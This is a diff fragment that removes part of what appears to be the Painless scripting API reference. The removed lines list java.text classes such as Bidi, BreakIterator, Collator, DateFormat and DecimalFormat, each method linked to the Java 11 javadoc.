-* void {java11-javadoc}/java.base/java/text/AttributedString.html#addAttribute(java.text.AttributedCharacterIterator$Attribute,java.lang.Object,int,int)[addAttribute](AttributedCharacterIterator.Attribute, Object, int, int)
-* void {java11-javadoc}/java.base/java/text/AttributedString.html#addAttributes(java.util.Map,int,int)[addAttributes](Map, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* AttributedCharacterIterator {java11-javadoc}/java.base/java/text/AttributedString.html#getIterator()[getIterator]()
-* AttributedCharacterIterator {java11-javadoc}/java.base/java/text/AttributedString.html#getIterator(java.text.AttributedCharacterIterator$Attribute%5B%5D)[getIterator](AttributedCharacterIterator.Attribute[])
-* AttributedCharacterIterator {java11-javadoc}/java.base/java/text/AttributedString.html#getIterator(java.text.AttributedCharacterIterator$Attribute%5B%5D,int,int)[getIterator](AttributedCharacterIterator.Attribute[], int, int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Bidi]]
-==== Bidi
-* static int {java11-javadoc}/java.base/java/text/Bidi.html#DIRECTION_DEFAULT_LEFT_TO_RIGHT[DIRECTION_DEFAULT_LEFT_TO_RIGHT]
-* static int {java11-javadoc}/java.base/java/text/Bidi.html#DIRECTION_DEFAULT_RIGHT_TO_LEFT[DIRECTION_DEFAULT_RIGHT_TO_LEFT]
-* static int {java11-javadoc}/java.base/java/text/Bidi.html#DIRECTION_LEFT_TO_RIGHT[DIRECTION_LEFT_TO_RIGHT]
-* static int {java11-javadoc}/java.base/java/text/Bidi.html#DIRECTION_RIGHT_TO_LEFT[DIRECTION_RIGHT_TO_LEFT]
-* static void {java11-javadoc}/java.base/java/text/Bidi.html#reorderVisually(byte%5B%5D,int,java.lang.Object%5B%5D,int,int)[reorderVisually](byte[], int, Object[], int, int)
-* static boolean {java11-javadoc}/java.base/java/text/Bidi.html#requiresBidi(char%5B%5D,int,int)[requiresBidi](char[], int, int)
-* {java11-javadoc}/java.base/java/text/Bidi.html#<init>(java.text.AttributedCharacterIterator)[Bidi](AttributedCharacterIterator)
-* {java11-javadoc}/java.base/java/text/Bidi.html#<init>(java.lang.String,int)[Bidi](null, int)
-* {java11-javadoc}/java.base/java/text/Bidi.html#<init>(char%5B%5D,int,byte%5B%5D,int,int,int)[Bidi](char[], int, byte[], int, int, int)
-* boolean {java11-javadoc}/java.base/java/text/Bidi.html#baseIsLeftToRight()[baseIsLeftToRight]()
-* Bidi {java11-javadoc}/java.base/java/text/Bidi.html#createLineBidi(int,int)[createLineBidi](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/text/Bidi.html#getBaseLevel()[getBaseLevel]()
-* int {java11-javadoc}/java.base/java/text/Bidi.html#getLength()[getLength]()
-* int {java11-javadoc}/java.base/java/text/Bidi.html#getLevelAt(int)[getLevelAt](int)
-* int {java11-javadoc}/java.base/java/text/Bidi.html#getRunCount()[getRunCount]()
-* int {java11-javadoc}/java.base/java/text/Bidi.html#getRunLevel(int)[getRunLevel](int)
-* int {java11-javadoc}/java.base/java/text/Bidi.html#getRunLimit(int)[getRunLimit](int)
-* int {java11-javadoc}/java.base/java/text/Bidi.html#getRunStart(int)[getRunStart](int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/text/Bidi.html#isLeftToRight()[isLeftToRight]()
-* boolean {java11-javadoc}/java.base/java/text/Bidi.html#isMixed()[isMixed]()
-* boolean {java11-javadoc}/java.base/java/text/Bidi.html#isRightToLeft()[isRightToLeft]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-BreakIterator]]
-==== BreakIterator
-* static int {java11-javadoc}/java.base/java/text/BreakIterator.html#DONE[DONE]
-* static Locale[] {java11-javadoc}/java.base/java/text/BreakIterator.html#getAvailableLocales()[getAvailableLocales]()
-* static BreakIterator {java11-javadoc}/java.base/java/text/BreakIterator.html#getCharacterInstance()[getCharacterInstance]()
-* static BreakIterator {java11-javadoc}/java.base/java/text/BreakIterator.html#getCharacterInstance(java.util.Locale)[getCharacterInstance](Locale)
-* static BreakIterator {java11-javadoc}/java.base/java/text/BreakIterator.html#getLineInstance()[getLineInstance]()
-* static BreakIterator {java11-javadoc}/java.base/java/text/BreakIterator.html#getLineInstance(java.util.Locale)[getLineInstance](Locale)
-* static BreakIterator {java11-javadoc}/java.base/java/text/BreakIterator.html#getSentenceInstance()[getSentenceInstance]()
-* static BreakIterator {java11-javadoc}/java.base/java/text/BreakIterator.html#getSentenceInstance(java.util.Locale)[getSentenceInstance](Locale)
-* static BreakIterator {java11-javadoc}/java.base/java/text/BreakIterator.html#getWordInstance()[getWordInstance]()
-* static BreakIterator {java11-javadoc}/java.base/java/text/BreakIterator.html#getWordInstance(java.util.Locale)[getWordInstance](Locale)
-* def {java11-javadoc}/java.base/java/text/BreakIterator.html#clone()[clone]()
-* int {java11-javadoc}/java.base/java/text/BreakIterator.html#current()[current]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/text/BreakIterator.html#first()[first]()
-* int {java11-javadoc}/java.base/java/text/BreakIterator.html#following(int)[following](int)
-* CharacterIterator {java11-javadoc}/java.base/java/text/BreakIterator.html#getText()[getText]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/text/BreakIterator.html#isBoundary(int)[isBoundary](int)
-* int {java11-javadoc}/java.base/java/text/BreakIterator.html#last()[last]()
-* int {java11-javadoc}/java.base/java/text/BreakIterator.html#next()[next]()
-* int {java11-javadoc}/java.base/java/text/BreakIterator.html#next(int)[next](int)
-* int {java11-javadoc}/java.base/java/text/BreakIterator.html#preceding(int)[preceding](int)
-* int {java11-javadoc}/java.base/java/text/BreakIterator.html#previous()[previous]()
-* void {java11-javadoc}/java.base/java/text/BreakIterator.html#setText(java.lang.String)[setText](null)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-CharacterIterator]]
-==== CharacterIterator
-* static char {java11-javadoc}/java.base/java/text/CharacterIterator.html#DONE[DONE]
-* def {java11-javadoc}/java.base/java/text/CharacterIterator.html#clone()[clone]()
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#current()[current]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#first()[first]()
-* int {java11-javadoc}/java.base/java/text/CharacterIterator.html#getBeginIndex()[getBeginIndex]()
-* int {java11-javadoc}/java.base/java/text/CharacterIterator.html#getEndIndex()[getEndIndex]()
-* int {java11-javadoc}/java.base/java/text/CharacterIterator.html#getIndex()[getIndex]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#last()[last]()
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#next()[next]()
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#previous()[previous]()
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#setIndex(int)[setIndex](int)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ChoiceFormat]]
-==== ChoiceFormat
-* static double {java11-javadoc}/java.base/java/text/ChoiceFormat.html#nextDouble(double)[nextDouble](double)
-* static double {java11-javadoc}/java.base/java/text/ChoiceFormat.html#nextDouble(double,boolean)[nextDouble](double, boolean)
-* static double {java11-javadoc}/java.base/java/text/ChoiceFormat.html#previousDouble(double)[previousDouble](double)
-* {java11-javadoc}/java.base/java/text/ChoiceFormat.html#<init>(java.lang.String)[ChoiceFormat](null)
-* {java11-javadoc}/java.base/java/text/ChoiceFormat.html#<init>(double%5B%5D,java.lang.String%5B%5D)[ChoiceFormat](double[], null[])
-* void {java11-javadoc}/java.base/java/text/ChoiceFormat.html#applyPattern(java.lang.String)[applyPattern](null)
-* def {java11-javadoc}/java.base/java/text/Format.html#clone()[clone]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/text/Format.html#format(java.lang.Object)[format](Object)
-* StringBuffer {java11-javadoc}/java.base/java/text/Format.html#format(java.lang.Object,java.lang.StringBuffer,java.text.FieldPosition)[format](Object, StringBuffer, FieldPosition)
-* AttributedCharacterIterator {java11-javadoc}/java.base/java/text/Format.html#formatToCharacterIterator(java.lang.Object)[formatToCharacterIterator](Object)
-* Currency {java11-javadoc}/java.base/java/text/NumberFormat.html#getCurrency()[getCurrency]()
-* def[] {java11-javadoc}/java.base/java/text/ChoiceFormat.html#getFormats()[getFormats]()
-* double[] {java11-javadoc}/java.base/java/text/ChoiceFormat.html#getLimits()[getLimits]()
-* int {java11-javadoc}/java.base/java/text/NumberFormat.html#getMaximumFractionDigits()[getMaximumFractionDigits]()
-* int {java11-javadoc}/java.base/java/text/NumberFormat.html#getMaximumIntegerDigits()[getMaximumIntegerDigits]()
-* int {java11-javadoc}/java.base/java/text/NumberFormat.html#getMinimumFractionDigits()[getMinimumFractionDigits]()
-* int {java11-javadoc}/java.base/java/text/NumberFormat.html#getMinimumIntegerDigits()[getMinimumIntegerDigits]()
-* RoundingMode {java11-javadoc}/java.base/java/text/NumberFormat.html#getRoundingMode()[getRoundingMode]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/text/NumberFormat.html#isGroupingUsed()[isGroupingUsed]()
-* boolean {java11-javadoc}/java.base/java/text/NumberFormat.html#isParseIntegerOnly()[isParseIntegerOnly]()
-* Number {java11-javadoc}/java.base/java/text/NumberFormat.html#parse(java.lang.String)[parse](null)
-* Number {java11-javadoc}/java.base/java/text/NumberFormat.html#parse(java.lang.String,java.text.ParsePosition)[parse](null, ParsePosition)
-* Object {java11-javadoc}/java.base/java/text/Format.html#parseObject(java.lang.String)[parseObject](null)
-* Object {java11-javadoc}/java.base/java/text/Format.html#parseObject(java.lang.String,java.text.ParsePosition)[parseObject](null, ParsePosition)
-* void {java11-javadoc}/java.base/java/text/ChoiceFormat.html#setChoices(double%5B%5D,java.lang.String%5B%5D)[setChoices](double[], null[])
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setCurrency(java.util.Currency)[setCurrency](Currency)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setGroupingUsed(boolean)[setGroupingUsed](boolean)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setMaximumFractionDigits(int)[setMaximumFractionDigits](int)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setMaximumIntegerDigits(int)[setMaximumIntegerDigits](int)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setMinimumFractionDigits(int)[setMinimumFractionDigits](int)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setMinimumIntegerDigits(int)[setMinimumIntegerDigits](int)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setParseIntegerOnly(boolean)[setParseIntegerOnly](boolean)
-* void {java11-javadoc}/java.base/java/text/NumberFormat.html#setRoundingMode(java.math.RoundingMode)[setRoundingMode](RoundingMode)
-* null {java11-javadoc}/java.base/java/text/ChoiceFormat.html#toPattern()[toPattern]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-CollationElementIterator]]
-==== CollationElementIterator
-* static int {java11-javadoc}/java.base/java/text/CollationElementIterator.html#NULLORDER[NULLORDER]
-* static int {java11-javadoc}/java.base/java/text/CollationElementIterator.html#primaryOrder(int)[primaryOrder](int)
-* static short {java11-javadoc}/java.base/java/text/CollationElementIterator.html#secondaryOrder(int)[secondaryOrder](int)
-* static short {java11-javadoc}/java.base/java/text/CollationElementIterator.html#tertiaryOrder(int)[tertiaryOrder](int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/text/CollationElementIterator.html#getMaxExpansion(int)[getMaxExpansion](int)
-* int {java11-javadoc}/java.base/java/text/CollationElementIterator.html#getOffset()[getOffset]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/text/CollationElementIterator.html#next()[next]()
-* int {java11-javadoc}/java.base/java/text/CollationElementIterator.html#previous()[previous]()
-* void {java11-javadoc}/java.base/java/text/CollationElementIterator.html#reset()[reset]()
-* void {java11-javadoc}/java.base/java/text/CollationElementIterator.html#setOffset(int)[setOffset](int)
-* void {java11-javadoc}/java.base/java/text/CollationElementIterator.html#setText(java.lang.String)[setText](null)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-CollationKey]]
-==== CollationKey
-* int {java11-javadoc}/java.base/java/text/CollationKey.html#compareTo(java.text.CollationKey)[compareTo](CollationKey)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/text/CollationKey.html#getSourceString()[getSourceString]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* byte[] {java11-javadoc}/java.base/java/text/CollationKey.html#toByteArray()[toByteArray]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Collator]]
-==== Collator
-* static int {java11-javadoc}/java.base/java/text/Collator.html#CANONICAL_DECOMPOSITION[CANONICAL_DECOMPOSITION]
-* static int {java11-javadoc}/java.base/java/text/Collator.html#FULL_DECOMPOSITION[FULL_DECOMPOSITION]
-* static int {java11-javadoc}/java.base/java/text/Collator.html#IDENTICAL[IDENTICAL]
-* static int {java11-javadoc}/java.base/java/text/Collator.html#NO_DECOMPOSITION[NO_DECOMPOSITION]
-* static int {java11-javadoc}/java.base/java/text/Collator.html#PRIMARY[PRIMARY]
-* static int {java11-javadoc}/java.base/java/text/Collator.html#SECONDARY[SECONDARY]
-* static int {java11-javadoc}/java.base/java/text/Collator.html#TERTIARY[TERTIARY]
-* static Locale[] {java11-javadoc}/java.base/java/text/Collator.html#getAvailableLocales()[getAvailableLocales]()
-* static Collator {java11-javadoc}/java.base/java/text/Collator.html#getInstance()[getInstance]()
-* static Collator {java11-javadoc}/java.base/java/text/Collator.html#getInstance(java.util.Locale)[getInstance](Locale)
-* def {java11-javadoc}/java.base/java/text/Collator.html#clone()[clone]()
-* int {java11-javadoc}/java.base/java/util/Comparator.html#compare(java.lang.Object,java.lang.Object)[compare](def, def)
-* boolean {java11-javadoc}/java.base/java/util/Comparator.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/text/Collator.html#equals(java.lang.String,java.lang.String)[equals](null, null)
-* CollationKey {java11-javadoc}/java.base/java/text/Collator.html#getCollationKey(java.lang.String)[getCollationKey](null)
-* int {java11-javadoc}/java.base/java/text/Collator.html#getDecomposition()[getDecomposition]()
-* int {java11-javadoc}/java.base/java/text/Collator.html#getStrength()[getStrength]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#reversed()[reversed]()
-* void {java11-javadoc}/java.base/java/text/Collator.html#setDecomposition(int)[setDecomposition](int)
-* void {java11-javadoc}/java.base/java/text/Collator.html#setStrength(int)[setStrength](int)
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#thenComparing(java.util.Comparator)[thenComparing](Comparator)
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#thenComparing(java.util.function.Function,java.util.Comparator)[thenComparing](Function, Comparator)
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#thenComparingDouble(java.util.function.ToDoubleFunction)[thenComparingDouble](ToDoubleFunction)
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#thenComparingInt(java.util.function.ToIntFunction)[thenComparingInt](ToIntFunction)
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#thenComparingLong(java.util.function.ToLongFunction)[thenComparingLong](ToLongFunction)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DateFormat]]
-==== DateFormat
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#AM_PM_FIELD[AM_PM_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#DATE_FIELD[DATE_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#DAY_OF_WEEK_FIELD[DAY_OF_WEEK_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#DAY_OF_WEEK_IN_MONTH_FIELD[DAY_OF_WEEK_IN_MONTH_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#DAY_OF_YEAR_FIELD[DAY_OF_YEAR_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#DEFAULT[DEFAULT]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#ERA_FIELD[ERA_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#FULL[FULL]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#HOUR0_FIELD[HOUR0_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#HOUR1_FIELD[HOUR1_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#HOUR_OF_DAY0_FIELD[HOUR_OF_DAY0_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#HOUR_OF_DAY1_FIELD[HOUR_OF_DAY1_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#LONG[LONG]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#MEDIUM[MEDIUM]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#MILLISECOND_FIELD[MILLISECOND_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#MINUTE_FIELD[MINUTE_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#MONTH_FIELD[MONTH_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#SECOND_FIELD[SECOND_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#SHORT[SHORT]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#TIMEZONE_FIELD[TIMEZONE_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#WEEK_OF_MONTH_FIELD[WEEK_OF_MONTH_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#WEEK_OF_YEAR_FIELD[WEEK_OF_YEAR_FIELD]
-* static int {java11-javadoc}/java.base/java/text/DateFormat.html#YEAR_FIELD[YEAR_FIELD]
-* static Locale[] {java11-javadoc}/java.base/java/text/DateFormat.html#getAvailableLocales()[getAvailableLocales]()
-* static DateFormat {java11-javadoc}/java.base/java/text/DateFormat.html#getDateInstance()[getDateInstance]()
-* static DateFormat {java11-javadoc}/java.base/java/text/DateFormat.html#getDateInstance(int)[getDateInstance](int)
-* static DateFormat {java11-javadoc}/java.base/java/text/DateFormat.html#getDateInstance(int,java.util.Locale)[getDateInstance](int, Locale)
-* static DateFormat {java11-javadoc}/java.base/java/text/DateFormat.html#getDateTimeInstance()[getDateTimeInstance]()
-* static DateFormat {java11-javadoc}/java.base/java/text/DateFormat.html#getDateTimeInstance(int,int)[getDateTimeInstance](int, int)
-* static DateFormat {java11-javadoc}/java.base/java/text/DateFormat.html#getDateTimeInstance(int,int,java.util.Locale)[getDateTimeInstance](int, int, Locale)
-* static DateFormat {java11-javadoc}/java.base/java/text/DateFormat.html#getInstance()[getInstance]()
-* static DateFormat {java11-javadoc}/java.base/java/text/DateFormat.html#getTimeInstance()[getTimeInstance]()
-* static DateFormat {java11-javadoc}/java.base/java/text/DateFormat.html#getTimeInstance(int)[getTimeInstance](int)
-* static DateFormat {java11-javadoc}/java.base/java/text/DateFormat.html#getTimeInstance(int,java.util.Locale)[getTimeInstance](int, Locale)
-* def {java11-javadoc}/java.base/java/text/Format.html#clone()[clone]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/text/Format.html#format(java.lang.Object)[format](Object)
-* StringBuffer {java11-javadoc}/java.base/java/text/Format.html#format(java.lang.Object,java.lang.StringBuffer,java.text.FieldPosition)[format](Object, StringBuffer, FieldPosition)
-* AttributedCharacterIterator {java11-javadoc}/java.base/java/text/Format.html#formatToCharacterIterator(java.lang.Object)[formatToCharacterIterator](Object)
-* Calendar {java11-javadoc}/java.base/java/text/DateFormat.html#getCalendar()[getCalendar]()
-* NumberFormat {java11-javadoc}/java.base/java/text/DateFormat.html#getNumberFormat()[getNumberFormat]()
-* TimeZone {java11-javadoc}/java.base/java/text/DateFormat.html#getTimeZone()[getTimeZone]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/text/DateFormat.html#isLenient()[isLenient]()
-* Date {java11-javadoc}/java.base/java/text/DateFormat.html#parse(java.lang.String)[parse](null)
-* Date {java11-javadoc}/java.base/java/text/DateFormat.html#parse(java.lang.String,java.text.ParsePosition)[parse](null, ParsePosition)
-* Object {java11-javadoc}/java.base/java/text/Format.html#parseObject(java.lang.String)[parseObject](null)
-* Object {java11-javadoc}/java.base/java/text/Format.html#parseObject(java.lang.String,java.text.ParsePosition)[parseObject](null, ParsePosition)
-* void {java11-javadoc}/java.base/java/text/DateFormat.html#setCalendar(java.util.Calendar)[setCalendar](Calendar)
-* void {java11-javadoc}/java.base/java/text/DateFormat.html#setLenient(boolean)[setLenient](boolean)
-* void {java11-javadoc}/java.base/java/text/DateFormat.html#setNumberFormat(java.text.NumberFormat)[setNumberFormat](NumberFormat)
-* void {java11-javadoc}/java.base/java/text/DateFormat.html#setTimeZone(java.util.TimeZone)[setTimeZone](TimeZone)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DateFormat-Field]]
-==== DateFormat.Field
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#AM_PM[AM_PM]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#DAY_OF_MONTH[DAY_OF_MONTH]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#DAY_OF_WEEK[DAY_OF_WEEK]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#DAY_OF_WEEK_IN_MONTH[DAY_OF_WEEK_IN_MONTH]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#DAY_OF_YEAR[DAY_OF_YEAR]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#ERA[ERA]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#HOUR0[HOUR0]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#HOUR1[HOUR1]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#HOUR_OF_DAY0[HOUR_OF_DAY0]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#HOUR_OF_DAY1[HOUR_OF_DAY1]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#MILLISECOND[MILLISECOND]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#MINUTE[MINUTE]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#MONTH[MONTH]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#SECOND[SECOND]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#TIME_ZONE[TIME_ZONE]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#WEEK_OF_MONTH[WEEK_OF_MONTH]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#WEEK_OF_YEAR[WEEK_OF_YEAR]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#YEAR[YEAR]
-* static DateFormat.Field {java11-javadoc}/java.base/java/text/DateFormat$Field.html#ofCalendarField(int)[ofCalendarField](int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/text/DateFormat$Field.html#getCalendarField()[getCalendarField]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DateFormatSymbols]]
-==== DateFormatSymbols
-* static Locale[] {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#getAvailableLocales()[getAvailableLocales]()
-* static DateFormatSymbols {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#getInstance()[getInstance]()
-* static DateFormatSymbols {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#getInstance(java.util.Locale)[getInstance](Locale)
-* {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#<init>()[DateFormatSymbols]()
-* {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#<init>(java.util.Locale)[DateFormatSymbols](Locale)
-* def {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#clone()[clone]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null[] {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#getAmPmStrings()[getAmPmStrings]()
-* null[] {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#getEras()[getEras]()
-* null {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#getLocalPatternChars()[getLocalPatternChars]()
-* null[] {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#getMonths()[getMonths]()
-* null[] {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#getShortMonths()[getShortMonths]()
-* null[] {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#getShortWeekdays()[getShortWeekdays]()
-* null[] {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#getWeekdays()[getWeekdays]()
-* null[][] {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#getZoneStrings()[getZoneStrings]()
-* int {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#hashCode()[hashCode]()
-* void {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#setAmPmStrings(java.lang.String%5B%5D)[setAmPmStrings](null[])
-* void {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#setEras(java.lang.String%5B%5D)[setEras](null[])
-* void {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#setLocalPatternChars(java.lang.String)[setLocalPatternChars](null)
-* void {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#setMonths(java.lang.String%5B%5D)[setMonths](null[])
-* void {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#setShortMonths(java.lang.String%5B%5D)[setShortMonths](null[])
-* void {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#setShortWeekdays(java.lang.String%5B%5D)[setShortWeekdays](null[])
-* void {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#setWeekdays(java.lang.String%5B%5D)[setWeekdays](null[])
-* void {java11-javadoc}/java.base/java/text/DateFormatSymbols.html#setZoneStrings(java.lang.String%5B%5D%5B%5D)[setZoneStrings](null[][])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DecimalFormat]]
-==== DecimalFormat
-* {java11-javadoc}/java.base/java/text/DecimalFormat.html#<init>()[DecimalFormat]()
-* {java11-javadoc}/java.base/java/text/DecimalFormat.html#<init>(java.lang.String)[DecimalFormat](null)
-* {java11-javadoc}/java.base/java/text/DecimalFormat.html#<init>(java.lang.String,java.text.DecimalFormatSymbols)[DecimalFormat](null, DecimalFormatSymbols)
-* void {java11-javadoc}/java.base/java/text/DecimalFormat.html#applyLocalizedPattern(java.lang.String)[applyLocalizedPattern](null)
-* void {java11-javadoc}/java.base/java/text/DecimalFormat.html#applyPattern(java.lang.String)[applyPattern](null)
-* def {java11-javadoc}/java.base/java/text/Format.html#clone()[clone]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/text/Format.html#format(java.lang.Object)[format](Object)
-* StringBuffer {java11-javadoc}/java.base/java/text/Format.html#format(java.lang.Object,java.lang.StringBuffer,java.text.FieldPosition)[format](Object, StringBuffer, FieldPosition)
-* AttributedCharacterIterator {java11-javadoc}/java.base/java/text/Format.html#formatToCharacterIterator(java.lang.Object)[formatToCharacterIterator](Object)
-* Currency {java11-javadoc}/java.base/java/text/NumberFormat.html#getCurrency()[getCurrency]()
-* DecimalFormatSymbols {java11-javadoc}/java.base/java/text/DecimalFormat.html#getDecimalFormatSymbols()[getDecimalFormatSymbols]()
-* int {java11-javadoc}/java.base/java/text/DecimalFormat.html#getGroupingSize()[getGroupingSize]()
-* int {java11-javadoc}/java.base/java/text/NumberFormat.html#getMaximumFractionDigits()[getMaximumFractionDigits]()
-* int {java11-javadoc}/java.base/java/text/NumberFormat.html#getMaximumIntegerDigits()[getMaximumIntegerDigits]()
